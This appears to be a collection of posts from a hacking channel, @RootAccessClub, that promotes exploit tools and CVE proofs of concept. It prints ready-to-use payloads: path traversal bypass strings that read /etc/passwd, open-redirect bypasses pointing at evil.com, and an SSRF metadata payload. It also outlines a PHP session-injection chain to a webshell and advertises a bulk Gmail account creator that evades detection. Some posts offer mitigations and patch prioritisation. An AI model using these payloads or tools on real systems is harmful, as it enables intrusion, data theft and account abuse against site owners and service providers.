AutoPWN Suite ⚡️

An automated penetration testing framework designed to streamline reconnaissance, vulnerability discovery, and security testing ✨

• Nmap-based network & service enumeration
• CVE & vulnerability discovery
• Automated exploit searching
• Web vulnerability testing
• Directory enumeration
• Web UI + REST API
• Scan scheduling & automation
• Email / Webhook notifications
• Optional evasion techniques

GitHub 🔗

🌪 @RootAccessClub

Relapse – PS5 Jailbreak Exploit 🎮

A new exploit chain called Relapse has been released, targeting PS5 firmware versions 7.00 through 13.60 🎯

🔹 WebKit Exploit
🔹 Kernel Exploit
🔹 Execution of unofficial payloads
🔹 Support for payloads such as kstuff and etaHEN

When successfully executed, Relapse can enable a Jailbreak environment and allow execution of unofficial code and payloads on the PS5 💥

⚠️ Check your console's firmware version before attempting anything

GitHub 🔗

🪎 @RootAccessCLUB

Path Traversal Bypasses ⚡️

Null Byte Injection
../../../etc/./passwd%00.png

Stripped Dot-Dot-Slash
..././..././..././e../tc..//pas../swd

Multi-Stage Decoding
..%2%35%32F..%2%35%32F..%2%35%32Fetc%2%35%32F/passwd

Truncation Appending (4096 bytes)
../../../etc/./passwd/././././././

⭐️ @RootAccessClub

Open redirects filter bypass payloads 💥

---->\/evil.com
---->\/\/evil.com
---->\\evil.com
----//evil.com
---->//theirsite@evil.com
---->////evil.com
----//google%E3%80%82com
---->//%2F/evil.com
---->////evil.com
---->/%2F/yoururl.com

🪎 @RootAccessClub

Toxssin – An XSS exploitation command line interface and payload generator 🫯

toxssin is an open source penetration testing tool that automates the process of exploiting Cross-Site Scripting (XSS) vulnerabilities. It consists of an https server that works as an interpreter for the traffic generated by the malicious JavaScript payload that powers this tool (toxin.js) 🦠

GitHub 🌐

💎 @RootAccessClub

Claude Kit 🛡️

A powerful open-source toolkit for bug bounty hunters, built to improve vulnerability reporting with Claude Code 🤖

Write better reports. Validate findings. Avoid common mistakes ⚡

GitHub 🌐

@RootAccessClub ⭐️

SSRF ☄

payload:
[](http://metadata+url)

🌊 @RootAccessClub

🔹 pfSense Firewall 0day — 5 RCEs

▫️Exploit :

1⃣ Link

2⃣ Link

3⃣ Link

4⃣ Link

5⃣ Link


▪️Writeups :

1⃣ Link

2⃣ Link

3⃣ Link

4⃣ Link

5⃣ Link

⚠️ For educational and authorized security research purposes only

🆒 @RootAccessClub

Thanks fam 🫶
Massive thanks for the reactions and shares, Your support keeps this channel alive

CVE-2026-96889 – Next.js RCE 🫯

Nextjs

GitHub

GitHub

GitHub

⚡️@RootAccessClub

How to use Gemini CLI for Bug Bounty research: analyse evidence, validate manually 🫆

Read 📚

🪎 @RootAccessClub

CVE-2026-89079 – Theme My Login (WordPress multisite) 🧪

Security research tooling for CVE-2026-89079: unauthenticated account takeover on WordPress multisite when Theme My Login ≤ 7.2.1 has network option tml_user_passwords enabled 🧬

🟥 Affected : ≤ 7.2.1
🟩 Fixed : 7.2.2+
♨️ CVSS : 9.8 (Critical)

GitHub 🌐

🔰 @RootAccessClub

CVE-2025-29009 – WordPress Medical Prescription Attachment Plugin for WooCommerce Plugin ☢

Webkul Medical Prescription Attachment — Unrestricted File Upload → Web Shell

🔴 Affected : All versions ≤ 1.2.3

🆘 CVSS : 10

GitHub 🔗

🛡@RootAccessClub

🚀 Gmail Creator Pro v2.1 — Bulk Gmail Account Creator

Python tool with a slick terminal UI 🔥

✅ Anti-detection & random user agents
✅ Phone verification bypass + 5sim API
✅ Proxy rotation
✅ Live stats & auto-save to JSON
✅ Auto-retry on failure

⚙️ Windows • Python 3.8+ • Chrome

🔗 GitHub

⚠️ Educational use only — violates Google ToS.

📢 @RootAccessClub

❄️ SubZer0 – Noise in. Priority out

Thousands of new CVEs every month
Only a few actually matter — SubZer0 shows you which ones to patch first

🔴 KEV · EPSS · PoC · Metasploit · Nuclei — all in one view
🔐 SHA-256 verified · auto-refreshed every 6h
⚡️ Free · no sign-up · no tracking

🌐 iliya-bashrc.github.io/SubZer0
💻 github.com/iliya-bashrc/SubZer0

💎 @RootAccessClub × @BugCod3

Reposted because of some spam bots flooding the last one, Let's keep it real⁩ 🤠

drop your reactions and show some support again⁩ ❤️‍🔥

Detect PHP powered websites & IPs using the updated php-detect nuclei template 💥

GitHub 🌐

@RootAccessClub

PHP2Shell – Critical PHP Core RCE 🚨
CVE-2026-109618 / CVE-2026-109619 | CVSS 9.2 🫨

Two critical memory-safety flaws in PHP Core, reachable through session upload-progress handling, can lead to Remote Code Execution (RCE) on affected web servers 💣

Affected versions span PHP 5.4 → 8.5 🦠

🛡 Fix: Update PHP to the latest patched release for your branch (8.2+ officially supported)

Sansec Advisory 🔗

💎 @RootAccessClub

php2shell – CVE-2026-109618 / CVE-2026-109619 (PoC)

Two critical bugs in PHP core session upload progress mechanism causing a heap use-after-free (UAF) leading to arbitrary code execution (RCE)

• Severity: Critical (CVSS v4.0: 9.2) 🚨
• Impacted Versions: PHP 5, 6, 7, and 8. Official patches are only coming for active PHP 8 branches, leaving EOL versions (5.x, 7.x, 8.0, 8.1) completely exposed🛡

The repository explains how to fix and mitigate it using WAF (ModSecurity) rules and Apache .htaccess configurations to block malicious requests before they even reach PHP 🟢

Github 🌐

⚠️Disclaimer: Our channel is not responsible for any misuse of this information or tool

⭐️@RootAccessClub

🚨 PHP2Shell is live on SubZer0

📂 On the site: 30+ public PoCs (updated every 15 min), scanners, Nuclei templates and official advisories

🔗 https://iliya-bashrc.github.io/SubZer0/

⚠️ Run PoCs only in a test lab

#PHP2Shell #PHP #RCE

@RootAccessClub × @BugCod3

🔴 CVE-2026-115560 — unpatched RCE in PHP

⚡️ Two days after the emergency php2shell fixes (CVE-2026-109618 / 109619), another RCE path dropped. Still no patch

🧩 The bug: session serialize_handler mismatch
Write side uses php_serialize, read side switches to the legacy php handler. That handler splits the session file on the first "|", so an attacker-controlled key becomes a serialized value

💉 Injection: session.upload_progress
Send PHP_SESSION_UPLOAD_PROGRESS as inj|O:14:"Gadget":... and with cleanup=Off the poisoned key stays in the session file

💥 Result: unserialize → object → __destruct → file_put_contents → webshell → RCE as www-data
No LFI, no memory corruption, works on mod_php.

✅ Until the fix:
• session.upload_progress.enabled=0
• one handler for the whole app, never two
• treat "|" in session keys as invalid

🧪 GitHub

@RootAccessClub